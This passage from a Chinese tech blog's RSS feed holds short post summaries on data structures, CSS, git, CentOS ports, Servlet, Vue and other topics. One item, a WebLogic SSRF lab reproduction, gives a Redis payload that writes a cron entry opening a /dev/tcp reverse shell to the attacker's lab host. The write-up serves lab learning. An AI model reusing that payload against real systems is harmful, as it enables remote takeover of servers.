rchild指向遍历序列中最后一个结点，&#xA;遍历序列中第一个结点的Ic域和最后一 个结点的rc域都指向头结点。如下图所示：</description>
    </item>
    <item>
      <title>fastGithub下载</title>
      <link>https://bchobby.github.io/posts/ee17d10854ff353709f42dc8c1a4327f/</link>
      <pubDate>Fri, 07 Oct 2022 19:50:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee17d10854ff353709f42dc8c1a4327f/</guid>
      <description>之前登录Github时好好的，后来就怎么也查询不到该网页。搜索了很多资料，发现可以下载fastGithub来解决这个问题。仅仅用来分享经验，侵权立删。&#xA;1.登录清华大学云盘：清华大学云盘 (tsinghua.edu.cn)​​​​​​&#xA;根据电脑版本下载需要的压缩包：&#xA;2.下载后是一个压缩包，直接解压&#xA;3.解压后直接点击 FastGithub.UI.exe即可&#xA;4. 启动后直接从网页输入GitHub网址或者你所要打开的网址，即可进入</description>
    </item>
    <item>
      <title>CSS 浮动(float) 宝妈级教程</title>
      <link>https://bchobby.github.io/posts/17df186d2d90f78c1ac0eba83a8fec3e/</link>
      <pubDate>Fri, 07 Oct 2022 17:37:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17df186d2d90f78c1ac0eba83a8fec3e/</guid>
      <description>目录&#xA;🏀标准流🏀&#xA;🥎 为什么需要浮动嘞?🥎&#xA;⚾ 什么是浮动?⚾&#xA;🥌 浮动特性🥌&#xA;🏐实战小技巧🏐&#xA;🌕清除浮动 🌕&#xA;🌒为什么要清除浮动? 🌒&#xA;🌑清除浮动方法🌑&#xA;🏀标准流🏀 标签按照规定好的默认方式排序&#xA;块级元素独占一行 从上向下顺序排列&#xA;div hr p h1-h6 ul ol form table&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;float&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; div { color: bisque; width: 300px; background-color: #c5708b; } h2 { color: #1677b3; width: 300px; background-color: #5698c3; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt;我是div&amp;lt;/div&amp;gt; &amp;lt;h2&amp;gt;我是h2&amp;lt;/h2&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 🥎 为什么需要浮动嘞?🥎 很多的布局效果,标准流没有办法完成,就需要利用到浮动完成布局.&#xA;浮动可以改变元素标签默认的排列方式&#xA;网页布局第一准则:&#xA;多个块级元素纵向排列找标准流&#xA;多个块级元素横向排列找浮动&#xA;⚾ 什么是浮动?⚾ float 属性用于创建浮动框</description>
    </item>
    <item>
      <title>异或 MTP 攻击</title>
      <link>https://bchobby.github.io/posts/2cffdb51cad9e3fcdb073b6387e81fee/</link>
      <pubDate>Fri, 07 Oct 2022 12:38:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cffdb51cad9e3fcdb073b6387e81fee/</guid>
      <description>符号 ⊕ 代表异或&#xA;C1 代表密文&#xA;M1 代表明文&#xA;性质 交换律结合律 (a ⊕ b ) ⊕ c = a⊕ ( b ⊕ c)任何数x x ⊕ x = 0 x ⊕ 0 = X自反性 x ⊕ b ⊕ b = x ⊕ 0 = x MTP 攻击 BUUCTF: [AFCTF2018]&#xA;25030206463d3d393131555f7f1d061d4052111a19544e2e5d54 0f020606150f203f307f5c0a7f24070747130e16545000035d54 1203075429152a7020365c167f390f1013170b1006481e13144e 0f4610170e1e2235787f7853372c0f065752111b15454e0e0901 081543000e1e6f3f3a3348533a270d064a02111a1b5f4e0a1855 0909075412132e247436425332281a1c561f04071d520f0b1158 4116111b101e2170203011113a69001b47520601155205021901 041006064612297020375453342c17545a01451811411a470e44 021311114a5b0335207f7c167f22001b44520c15544801125d40 06140611460c26243c7f5c167f3d015446010053005907145d44 0f05110d160f263f3a7f4210372c03111313090415481d49530f 设每一个字符为Ci,都是某个可以异或上明文 Mi 得到的.我们的目标是获取到这个key,已知明文是英文句子.&#xA;C 1 ⨁ C 2 = ( M 1 ⨁ k e y ) ⨁ ( M 2 ⨁ k e y ) = M 1 ⨁ M 2 C_1 \bigoplus C_2 = (M_1 \bigoplus key) \bigoplus (M_2 \bigoplus key) = M_1 \bigoplus M_2 C1​⨁C2​=(M1​⨁key)⨁(M2​⨁key)=M1​⨁M2​</description>
    </item>
    <item>
      <title>【数据结构--二维数组】</title>
      <link>https://bchobby.github.io/posts/971153752cc88ac3d456ac1907151651/</link>
      <pubDate>Thu, 06 Oct 2022 19:33:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/971153752cc88ac3d456ac1907151651/</guid>
      <description>文章目录 二维数组二维数组定义二维数组的创建 二维数组的应用矩阵加法矩阵乘法 二维数组 二维数组定义 二维数组本质上是以数组作为数组元素的数组，即数组的数组。&#xA;二维数组就是一个有行和列的矩阵，每一行代表一个数组，即数组的数组；每一行数组内元素所在的位置可以用行和列号来表示 二维数组的创建 动态二维数组&#xA;动态二维数组图示 elements是动态二维数组变量，其是指向包含两个整型元素数组的指针（即指向二维数组首地址），elements[0]、elements[1]、elements[2]存储的值为一个包含两个整型元素的一维数组的首地址。&#xA;代码：&#xA;结构体定义&#xA;typedef int ElemType; /* 动态空间分配 */ typedef struct TwoDArry { int rows; int columns; ElemType** elements; } TwoDArray, *TwoDArrayPtr; 初始化&#xA;/* 初始化二维数组 */ TwoDArrayPtr initTwoDArray(int tempRows, int tempColumns) { TwoDArrayPtr resultPtr = (TwoDArrayPtr)malloc(sizeof(TwoDArray)); resultPtr-&amp;gt;rows = tempRows; resultPtr-&amp;gt;columns = tempColumns; resultPtr-&amp;gt;elements = (ElemType**)malloc(sizeof(ElemType*)*tempRows); for(int i = 0; i &amp;lt; tempRows; ++i) { resultPtr-&amp;gt;elements[i] = (ElemType*)malloc(sizeof(ElemType)*tempColumns); } return resultPtr; } 静态二维数组</description>
    </item>
    <item>
      <title>【数据结构--哈夫曼编码（C语言版）】</title>
      <link>https://bchobby.github.io/posts/0d182bf896d4073d52b6e1e5186d7f8d/</link>
      <pubDate>Thu, 06 Oct 2022 19:32:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d182bf896d4073d52b6e1e5186d7f8d/</guid>
      <description>文章目录 哈夫曼树及其应用哈夫曼树哈夫曼树的特点哈夫曼树的构造哈夫曼编码 哈夫曼树及其应用 哈夫曼树 介绍哈夫曼树前先介绍下面几个名词：&#xA;1. 结点的路径长度l&#xA;从根结点到该结点的路径上分支的数目，如下图结点a的l = 3。&#xA;2. 树的路径长度&#xA;树中所有叶子结点的路径长度之和，如下图该树的路径长度为2 + 3 + 3 + 2 + 2。&#xA;3. 结点的权w&#xA;给每一个结点赋予一个新的数值，称为这个结点的权。&#xA;4. 结点的带权路径长度l * w&#xA;从根结点到该结点之间的路径长度与该结点的权的乘积,下图结点a的带权路径长度为l * w = 3。&#xA;5. 树的带权路径长度 WPL = ∑li * wi&#xA;树中所有叶子结点的带权路径长度之和。&#xA;带权路径长度WPL最小的二叉树称为哈夫曼树（又称为最优二叉树）。&#xA;哈夫曼树的特点 权值小的结点离根远，权值大的结点离根近。结点的度：没有度为1的结点。 哈夫曼树的构造 思路：&#xA;1. 对于给定的有各自权值的n个结点，从n个权值中选出两个最小的权值，对应的两个结点组成一个新的二叉树，且新的二叉树的根结点的权值为左右孩子权值的和&#xA;2. 在原有的n个权值中删除那两个最小的权值，同时将新的权值加入到n-2个权值的行列中，以此类推&#xA;3. 重复1和2，直到所有的结点构建成了一棵二叉树为止，该树即为哈夫曼树。&#xA;按权构造哈夫曼树的过程如下图 哈夫曼编码 一般地，设需要编码的字符集为{d1, d2, …… ,dn}，各个字符在电文中出现的次数或频率集合为{w1, w2, …… , wn}，以d1，d2，…… ，dn作为叶子结点，以w1，w2，…… ，wn作为相应叶子结点的权值来构造一棵哈夫曼树。规定哈夫曼树的左分支代表0，右分支代表1，则从根结点到叶子结点所经过的路径分支组成的0和1的序列便为该结点对应字符的编码，这就是哈夫曼编码。&#xA;例如有一段文字内容&#34;WINNIE WILL WIN&#34;其中W的权值为3，I的权值为4，N的权值为3，E的权值为1，L的权值为2 ，则其按哈夫曼树规划如下。&#xA;哈夫曼编码 WINEL34312001110010011 构造以W(3)、I(4)、N(3)、E(1)、L(2)为叶子结点的哈夫曼树将该二叉树所有左分枝标记0，所有右分枝标记1根结点到叶子结点所经过的二进制序列为该叶子结点字符的编码 哈夫曼树结构</description>
    </item>
    <item>
      <title>【数据结构--栈的顺序存储结构】</title>
      <link>https://bchobby.github.io/posts/69a46c8c2cc6b23406cd8e440c4b5103/</link>
      <pubDate>Thu, 06 Oct 2022 19:29:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69a46c8c2cc6b23406cd8e440c4b5103/</guid>
      <description>文章目录 栈的顺序存储结构栈的定义栈的初始化压栈操作弹栈操作返回栈顶元素返回栈的长度将栈清空完整代码测试结果总结 栈的顺序存储结构 栈的定义 栈（stack）是限定仅在表尾进行插入和删除的线性表&#xA;允许插入和删除的一端称为栈顶（top），另一端称为栈底（bottom），不含任何数据元素的栈称为空栈。栈又称为先进后出的线性表，简称LIFO结构。&#xA;栈的插入操作，叫做进栈，也称为压栈、入栈，如下图所示。&#xA;栈的删除操作，叫做出栈，也称为弹栈，如下图所示。&#xA;栈的结构定义：&#xA;typedef struct CharStack { int top; /* 用于栈顶指针 */ int data[MAXSIZE]; } *CharStackPtr,CharStack; 栈的初始化 栈的初始化即为顺序栈动态分配一个预定义大小的数组空间&#xA;代码如下：&#xA;//初始化栈 CharStackPtr CharStackInit() { CharStackPtr resultPtr = (CharStackPtr)malloc(sizeof(CharStack)); resultPtr-&amp;gt;top = -1; return resultPtr; } 压栈操作 压栈即为在栈顶插入一个新元素&#xA;代码如下：&#xA;//压栈 void push(CharStackPtr tempStackPtr, char tempValue) { if(tempStackPtr-&amp;gt;top &amp;gt;= MAXSIZE - 1) { printf(&#34;无法压入元素%c：堆栈已满!\n&#34;,tempValue); return ; } tempStackPtr-&amp;gt;top ++; tempStackPtr-&amp;gt;data[tempStackPtr-&amp;gt;top] = tempValue; } 弹栈操作 弹栈即为将栈顶元素删除&#xA;代码如下：&#xA;//弹栈 char pop(CharStackPtr tempStackPtr) { if (tempStackPtr-&amp;gt;top == -1) { printf(&#34;</description>
    </item>
    <item>
      <title>【数据结构——链表应用：多项式求和】</title>
      <link>https://bchobby.github.io/posts/67114ca83b70aff3ae2510014118e0c9/</link>
      <pubDate>Thu, 06 Oct 2022 19:29:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67114ca83b70aff3ae2510014118e0c9/</guid>
      <description>文章目录 链表的应用——多项式加法结构体定义初始化链表打印链表在尾部添加一个元素多项式加法完整代码及运行截图 链表的应用——多项式加法 结构体定义 typedef struct LinkNode { int coefficient; int power; struct LinkNode* next; } *LinkList, *NodePtr, Node; 初始化链表 // 初始化链表 LinkList initLinkList() { LinkList tempHeader = (LinkList)malloc(sizeof(Node)); tempHeader-&amp;gt;coefficient = 0; tempHeader-&amp;gt;power = 0; tempHeader-&amp;gt;next = NULL; return tempHeader; } 打印链表 //打印链表 void printList(LinkList tempHeader) { NodePtr p = tempHeader-&amp;gt;next; while(p) { printf(&#34;%d * 10^%d + &#34;,p-&amp;gt;coefficient,p-&amp;gt;power); p = p-&amp;gt;next; } printf(&#34;\n&#34;); } 在尾部添加一个元素 //在尾部添加一个元素 void appendElement(LinkList tempHeader, int tempCoefficient, int tempPower) { NodePtr p,q; q = (NodePtr)malloc(sizeof(Node)); q-&amp;gt;coefficient = tempCoefficient; q-&amp;gt;power = tempPower; q-&amp;gt;next = NULL; p = tempHeader; while (p-&amp;gt;next) { p = p-&amp;gt;next; } p-&amp;gt;next = q; } 多项式加法 算法步骤：</description>
    </item>
    <item>
      <title>CentOS 开启端口方法</title>
      <link>https://bchobby.github.io/posts/17111753fd21484dc621b218f722a3da/</link>
      <pubDate>Thu, 06 Oct 2022 16:32:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17111753fd21484dc621b218f722a3da/</guid>
      <description> 查看已经开放的端口：&#xA;firewall-cmd --list-ports 查看防火墙状态：&#xA;firewall-cmd --state 开启防火墙：&#xA;systemctl start firewalld.service 开启8080端口：&#xA;firewall-cmd --zone=public --add-port=8080/tcp --permanent &amp;amp;&amp;amp; firewall-cmd --reload 关闭8080端口：&#xA;firewall-cmd --zone=public --remove-port=8080/tcp --permanent 让我们来解释一下上一个命令： --zone=public:表示作用域为公共的； --add-port=8080/tcp：添加tcp协议的端口8080； --permanent：永久生效；(如果没有此参数，则只能维持当前服务生命周期内，重新启动后失效；) 重新加载配置：&#xA;firewall-cmd --reload </description>
    </item>
    <item>
      <title>git 常用命令以及细节</title>
      <link>https://bchobby.github.io/posts/78eaf4a4f328d746dd1fc87f07b7de3a/</link>
      <pubDate>Thu, 06 Oct 2022 16:25:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78eaf4a4f328d746dd1fc87f07b7de3a/</guid>
      <description>常用命令 git config --global user.name xxx：设置全局用户名，信息记录在~/.gitconfig文件中 git config --global user.email xxx@xxx.com：设置全局邮箱地址，信息记录在~/.gitconfig文件中 git init：将当前目录配置成git仓库，信息记录在隐藏的.git文件夹中 git add XX：将XX文件添加到暂存区 git add .：将所有待加入暂存区的文件加入暂存区 git rm --cached XX：将文件从仓库索引目录中删掉 git commit -m &#34;给自己看的备注信息&#34;：将暂存区的内容提交到当前分支 git status：查看仓库状态 git diff XX：查看XX文件相对于暂存区修改了哪些内容 git log：查看当前分支的所有版本 git reflog：查看HEAD指针的移动历史（包括被回滚的版本） git reset --hard HEAD^ 或 git reset --hard HEAD~：将代码库回滚到上一个版本 git reset --hard HEAD^^：往上回滚两次，以此类推 git reset --hard HEAD~100：往上回滚100个版本 git reset --hard 版本号：回滚到某一特定版本 git checkout — XX或git restore XX：将XX文件尚未加入暂存区的修改全部撤销 git remote add origin git@git.acwing.com:xxx/XXX.git：将本地仓库关联到远程仓库 git push -u (第一次需要-u以后不需要)：将当前分支推送到远程仓库 git push origin branch_name：将本地的某个分支推送到远程仓库 git clone git@git.</description>
    </item>
    <item>
      <title>Servlet 快速入门</title>
      <link>https://bchobby.github.io/posts/27499fc490d85188df288d1f8ca22374/</link>
      <pubDate>Thu, 06 Oct 2022 10:22:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27499fc490d85188df288d1f8ca22374/</guid>
      <description>参考博客 1.创建web项目，导入Servlet 依赖 这里创建项目没有使用框架&#xA;①创建项目&#xA;File——&amp;gt;New——&amp;gt; Project——&amp;gt;Maven——&amp;gt;Next——&amp;gt;(自己定义的项目名字)——&amp;gt; Finish&#xA;②导入依赖&#xA;&amp;lt;!--需要将文件打成war包--&amp;gt; &amp;lt;packaging&amp;gt;war&amp;lt;/packaging&amp;gt; &amp;lt;!-- 导入servlet和jsp的依赖 --&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;javax.servlet-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt; // 注意这里的 &amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt; 要写成3.1.0 版本 不然后面的 @WebServlet(&#34;/Demo1&#34;) 会出错 &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;!--导入Tomcat 插件--&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.apache.tomcat.maven&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;tomcat7-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2&amp;lt;/version&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 2.添加Web框架支持 选中刚刚创建的项目，右击，选择Add Framework Support...（添加框架支持）如图所示：&#xA;接下来选中web应用程序，并确认版本为4.0，如图所示：&#xA;点击确认后，即添加web框架完成。这样可以保证web.xml里面的配置文件的版本为最新的。&#xA;在这里添加框架如果不能被找到，可能因为某些操作导致未完全添加web支持.但IDEA判断你有web 支持,所以不会显示&#xA;在工程中把web相关删除干净,就可以重新添加支持了&#xA;点击File-&amp;gt; Project Structure&#xA;在Facets 里面看到的Web项目直接进行删除就可以了&#xA;3.创建:定义一个类,实现Servlet接口,并重写接口中所有方法,并在service方法中输入一句话 package com.ting.web; import javax.jws.WebService; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException; // Servlet 如果想要被访问必须配置访问的路径 @WebServlet(&#34;</description>
    </item>
    <item>
      <title>weblogic SSRF漏洞复现</title>
      <link>https://bchobby.github.io/posts/2406b2b53feea7b961afb9f17da0a509/</link>
      <pubDate>Wed, 05 Oct 2022 23:14:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2406b2b53feea7b961afb9f17da0a509/</guid>
      <description>漏洞描述 weblogic中存在一个ssrf漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。&#xA;影响版本：10.0.2 – 10.3.6&#xA;环境搭建 靶机：172.16.10.12&#xA;kali：172.16.10.1&#xA;进入vulhub-master/weblogic/ssrf目录&#xA;docker-compose up -d 服务启动后，访问http://172.16.10.12:7001/uddiexplorer，无需登录即可查看uddiexplorer应用。&#xA;漏洞复现 SSRF漏洞位于http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp，点击search按钮，用burp抓包&#xA;发送到repeater，更改operator参数的值为127.0.0.1:7001，得到错误，一般是返回status code&#xA;将operator参数的值改为127.0.0.1:80，不存在的端口，返回could not connect over HTTP to server&#xA;注入HTTP头，利用Redis反弹shell 进入容器查看一下ip&#xA;docker exec -it 4d28eed97e76 /bin/bash web服务器的真实IP是172.22.0.3&#xA;docker exec -it 46bfd2a29701 /bin/bash redis服务器的真实IP是172.22.0.2&#xA;使用ssrf探测一下redis服务器，返回Received a reponse，表明redis服务存在&#xA;接下来在http头注入三条redis命令，将反弹shell脚本写入/etc/crontab&#xA;test set 1 &#34;\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c &#39;sh -i &amp;gt;&amp;amp; /dev/tcp/172.16.10.1/22111 0&amp;gt;&amp;amp;1&#39;\n\n\n\n&#34; config set dir /etc/ config set dbfilename crontab save test 进行url编码，注意换行符是&#34;\r\n&#34;，也就是&#34;%0D%0A&#34;</description>
    </item>
    <item>
      <title>Vue 脚手架创建项目</title>
      <link>https://bchobby.github.io/posts/271a3cd75e114051437287fa0e0a69cd/</link>
      <pubDate>Wed, 05 Oct 2022 21:27:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/271a3cd75e114051437287fa0e0a69cd/</guid>
      <description>操作指导：右键文件在集成终端中打开，并输入创建脚手架命令[ vue create 文件名(英文) ]初始化项目 ，空格键为选择，enter键为下一步&#xA;1. Manually select features（手动选择配置项,勾选router、vuex、css预处理） √ Choose Vue version√ BabelTypeScriptProgressive Web App (PWA) Support√ Router√ Vuex√ CSS Pre-processorsLinter / FormatterUnit TestingE2E Testing 2. Choose a version of Vue.js that you want to start the project with (Use arrow keys) 选择vue版本，这里选择vue2&#xA;√ 2.x3.x 3.Use history mode for router? (Requires proper server setup for index fallback in production) (Y/n) 路由模式是否用history,这里选否。 默认用hash模式&#xA;n 4. Pick a CSS pre-processor (PostCSS, Autoprefixer and CSS Modules are supported by default): (Use arrow keys) 选择你的css预处理语言，这里选less</description>
    </item>
    <item>
      <title>求字符串中循环子串的长度 ← KMP算法</title>
      <link>https://bchobby.github.io/posts/83249c8612157b91d2a359b84144bf89/</link>
      <pubDate>Wed, 05 Oct 2022 17:43:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83249c8612157b91d2a359b84144bf89/</guid>
      <description>【题目来源】&#xA;改编自：https://www.luogu.com.cn/problem/P4391&#xA;【问题描述】&#xA;给你一个字符串 s1​，它是由某个字符串 s2​ 不断自我连接形成的。但是字符串 s2​ 是不确定的，现在只想知道它的最短长度是多少。&#xA;【输入格式】&#xA;仅一行，表示输入字符串 s1​ 的一个子串。&#xA;【输出格式】&#xA;仅一行，表示 s2​ 的最短长度。&#xA;【说明/提示】&#xA;样例cabcabca的解释：对于样例，我们可以利用abc不断自我连接得到abcabcabc，读入的cabcabca是它的子串。&#xA;【规模与约定】&#xA;对于全部的测试点，保证字符串的长度 ≤10^6 。&#xA;【算法分析】&#xA;首先要注意，本题输入的字符串比较特殊，是由某个字符串不断自我连接构成的某个字符串的子串。在这个基础上，绘制样例 cabcabca 的前缀表及next数组如下文示意图所示。&#xA;由 https://blog.csdn.net/hnjzsyjyj/article/details/127171330 知，前缀表与next数组虽然是有关系的，但是它们不是一回事。且next数组可通过“将前缀表每一位都向右移动1位（最右位舍去）并在最左位补一个-1”得到。&#xA;观察示意图可知，循环子串的长度为：T.length()-ne[T.length()]&#xA;【算法代码】&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; const int maxn=100; int ne[maxn]; void getNext(string T) { int len=T.length(); int i=0, j=-1; ne[0]=-1; while(i&amp;lt;len) { if(j==-1 || T[i]==T[j]) { ne[++i]=++j; } else j=ne[j]; } } int main() { string T; getline(cin,T); getNext(T); cout&amp;lt;&amp;lt;(T.</description>
    </item>
    <item>
      <title>组合优化求解方法</title>
      <link>https://bchobby.github.io/posts/464e72d76b616ecdbc27d8581fb9a2a9/</link>
      <pubDate>Wed, 05 Oct 2022 16:03:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/464e72d76b616ecdbc27d8581fb9a2a9/</guid>
      <description>1. 离散优化/整数规划 整数规划，或者离散优化（Discrete Optimization），是指数学规划问题中自变量存在整数。&#xA;混合整数规划（Mixed Integer Programming, MIP），即自变量既包含整数也有连续变量&#xA;求解复杂度 求解整数规划的精确解是NP难的，也就是指数级算法复杂度（Exponential Time Solvable）&#xA;假设这里的整数是0,1变量，那么我们可以简单地理解为算法复杂度是2n（需要解2n个线性规划问题）。也就是说，每增加一个0，1变量，求解的速度就有可能要增加一倍！例如求解n=100的整数规划问题需要1小时，那么求解n=101的规模可能会需要2小时，n=102需要4小时，n=105需要32小时。。这就是指数爆炸！&#xA;其它解决方案 近似算法（Approximation Algorithms），启发式算法（Heuristic Algorithms），遗传算法（Evolution Algorithms, Meta-Heuristic）等等。它们虽然不能求得整数规划的最优解，但是却能在短时间（通常多项式时间）内给出一个较好的可行解&#xA;组合优化是整数规划的子集。的确，绝大多数组合优化问题都可以被建模成（混合）整数规划模型来求解&#xA;2. 组合优化求解方法： 精确方法——无法应用于大规模实例近似算法——本质上都是贪心算法，而且通常都是多项式时间的算法启发式方法——以问题为导向（通常依赖于人工选取 heuristics； –难以调整何时何地应用 heuristics； 般只能求得局部最优解；启发式算法的设计过程需要特殊的领域知识，并可能需要反复试验来调整算法。实际上，每当问题设置变化时，算法通常需要被重新修订，这需要我们重新优化系统，故而启发式算法在这时变得不切实际）元启发算法——如遗传算法、蚁群算法、进化算法、智能算法；可以将它当作一个黑箱子对几乎任何问题适用；可以控制算法的迭代次数神经网络RL方法 3. 元启发算法Meta-heuristic 也被称为智能优化算法(Intelligent optimization algorithm)&#xA;举例： (1) 遗传算法； 遗传算法以一种群体中的所有个体为对象，并利用随机化技术指导对一个被编码的参数空间进行高效搜索。其中，选择、交叉和变异构成了遗传算法的遗传操作；参数编码、初始群体的设定、适应度函数的设计、遗传操作设计、控制参数设定五个要素组成了遗传算法的核心内容。&#xA;种群——由经过基因（gene）编码的一定数目的个体(individual)组成个体——是染色体(chromosome)；遗传物质的主要载体，即多个基因的集合由于仿照基因编码的工作很复杂，我们往往进行简化，如二进制编码染色体长度为二进制编码的长度。chromosomes 每一条染色体是一个字典，该字典有两个内容，分别是包含基因的Gene类和适应度函数值fitness 初代种群产生之后，按照适者生存和优胜劣汰的原理，逐代（generation）演化产生出越来越好的近似解，在每一代，根据问题域中个体的适应度（fitness）大小选择（selection）个体，并借助于自然遗传学的遗传算子（genetic operators）进行组合交叉（crossover）和变异（mutation），产生出代表新的解集的种群。这个过程将导致种群像自然进化一样的后生代种群比前代更加适应于环境，末代种群中的最优个体经过解码（decoding），可以作为问题近似最优解。&#xA;生物学术语&#xA;基因型(genotype)：性状染色体的内部表现；表现型(phenotype)：染色体决定的性状的外部表现，或者说，根据基因型形成的个体的外部表现；进化(evolution)：种群逐渐适应生存环境，品质不断得到改良。生物的进化是以种群的形式进行的。适应度(fitness)：度量某个物种对于生存环境的适应程度。选择(selection)：以一定的概率从种群中选择若干个个体。一般，选择过程是一种基于适应度的优胜劣汰的过程。复制(reproduction)：细胞分裂时，遗传物质DNA通过复制而转移到新产生的细胞中，新细胞就继承了旧细胞的基因。交叉(crossover)：两个染色体的某一相同位置处DNA被切断，前后两串分别交叉组合形成两个新的染色体。也称基因重组或杂交；变异(mutation)：复制时可能（很小的概率）产生某些复制差错，变异产生新的染色体，表现出新的性状。编码(coding)：DNA中遗传信息在一个长链上按一定的模式排列。遗传编码可看作从表现型到基因型的映射。解码(decoding)：基因型到表现型的映射。个体（individual）：指染色体带有特征的实体；种群（population）：个体的集合，该集合内个体数称为种群 遗传算法的一般步骤：&#xA;随机产生种群。根据策略判断个体的适应度，是否符合优化准则，若符合，输出最佳个体及其最优解，结束。否则，进行下一步。依据适应度选择父母，适应度高的个体被选中的概率高，适应度低的个体被淘汰。用父母的染色体按照一定的方法进行交叉，生成子代。对子代染色体进行变异。 选择算子&#xA;轮盘赌选择（Roulette Wheel Selection）随机竞争选择（Stochastic Tournament）最佳保留选择无回放随机选择（也叫期望值选择Excepted Value Selection）确定式选择…… 遗传算法的缺点&#xA;1、遗传算法的编程实现比较复杂,首先需要对问题进行编码,找到最优解之后还需要对问题进行解码,&#xA;2、另外三个算子的实现也有许多参数,如交叉率和变异率,并且这些参数的选择严重影响解的品质,而目前这些参数的选择大部分是依靠经验.&#xA;3、没有能够及时利用网络的反馈信息,故算法的搜索速度比较慢，要得要较精确的解需要较多的训练时间。&#xA;4、算法对初始种群的选择有一定的依赖性，能够结合一些启发算法进行改进。&#xA;5、算法的并行机制的潜在能力没有得到充分的利用，这也是当前遗传算法的一个研究热点方向。&#xA;常用混合遗传算法，合作型协同进化算法等来替代，这些算法都是GA的衍生算法。&#xA;(2) 粒子群算法PSO； PSO算法主要应用于连续问题，包括神经网络训练和函数优化等，而GA除了连续问题之外，还可应用于离散问题，比如TSP问题、货郎担问题、工作车间调度等&#xA;(3) 禁忌搜索算法；&#xA;(4) 蚁群算法；&#xA;(5) 人工蜂群算法；&#xA;(6) 模拟退火算法；*</description>
    </item>
    <item>
      <title>qt qchart绘制简单股票</title>
      <link>https://bchobby.github.io/posts/061fa196936d82d16830e490b0d3bff0/</link>
      <pubDate>Wed, 05 Oct 2022 15:40:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/061fa196936d82d16830e490b0d3bff0/</guid>
      <description>原始数据来自公开的链接&#xA;解析代码:&#xA;#include &#34;StockDataReader.h&#34; #include &amp;lt;QtSql&amp;gt; #include &amp;lt;QApplication&amp;gt; #include &amp;lt;QString&amp;gt; //#include &#34;../StockAnalyse/StockAnalyse_global.h&#34; //#include &#34;../StockAnalyse/stockanalyse.h&#34; // 静态成员变量需要在类体的外面进行初始化 //StocksDataReader* StocksDataReader::m_pInstance = NULL; StocksDataReader* StocksDataReader::m_pInstance=NULL; QMutex StocksDataReader::m_Mutex; static QString strhttp_kline = &#34;https://quotes.sina.cn/cn/api/json_v2.php/CN_MarketDataService.getKLineData?symbol=&#34;; //绘制实时的分时图需要下列两个网址相结合，腾讯的网址获取今日的历史分时图，新浪的网址实时的该股票行情，进行对今日分时图刷新 //http://data.gtimg.cn/flashdata/hushen/minute/sz000001.js?maxage=110&amp;amp;0.28163905744440854 static QString strhttp_realtime = &#34;http://hq.sinajs.cn/list=&#34;; static QString strhttp_timeline = &#34;http://data.gtimg.cn/flashdata/hushen/minute/&#34;; static QString strhttp_4daytimeline = &#34;http://data.gtimg.cn/flashdata/hushen/4day/&#34;; //+sz/或sh/ //https://web.ifzq.gtimg.cn/appstock/app/minute/query?code=sh600519 //新的链接 static QString strhttp_timeline_new = &#34;https://web.ifzq.gtimg.cn/appstock/app/minute/query?code=&#34;; static QString strhttp_4daytimeline_new = &#34;https://web.ifzq.gtimg.cn/appstock/app/day/query?code=&#34;; //获取最新行情 static QString strhttp_realtime_all = &#34;http://qt.gtimg.cn/q=&#34;;//sh600000,sz000001 sh500038 //可以选这个数据多，不用计算可以直接用 //获取实时资金流向 //http://qt.gtimg.cn/q=ff_sh600519 //参考链接https://www.</description>
    </item>
    <item>
      <title>spring boot整合AOP实现日志功能</title>
      <link>https://bchobby.github.io/posts/696ccdf32d641706ddbc34d0bc42e286/</link>
      <pubDate>Wed, 05 Oct 2022 15:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/696ccdf32d641706ddbc34d0bc42e286/</guid>
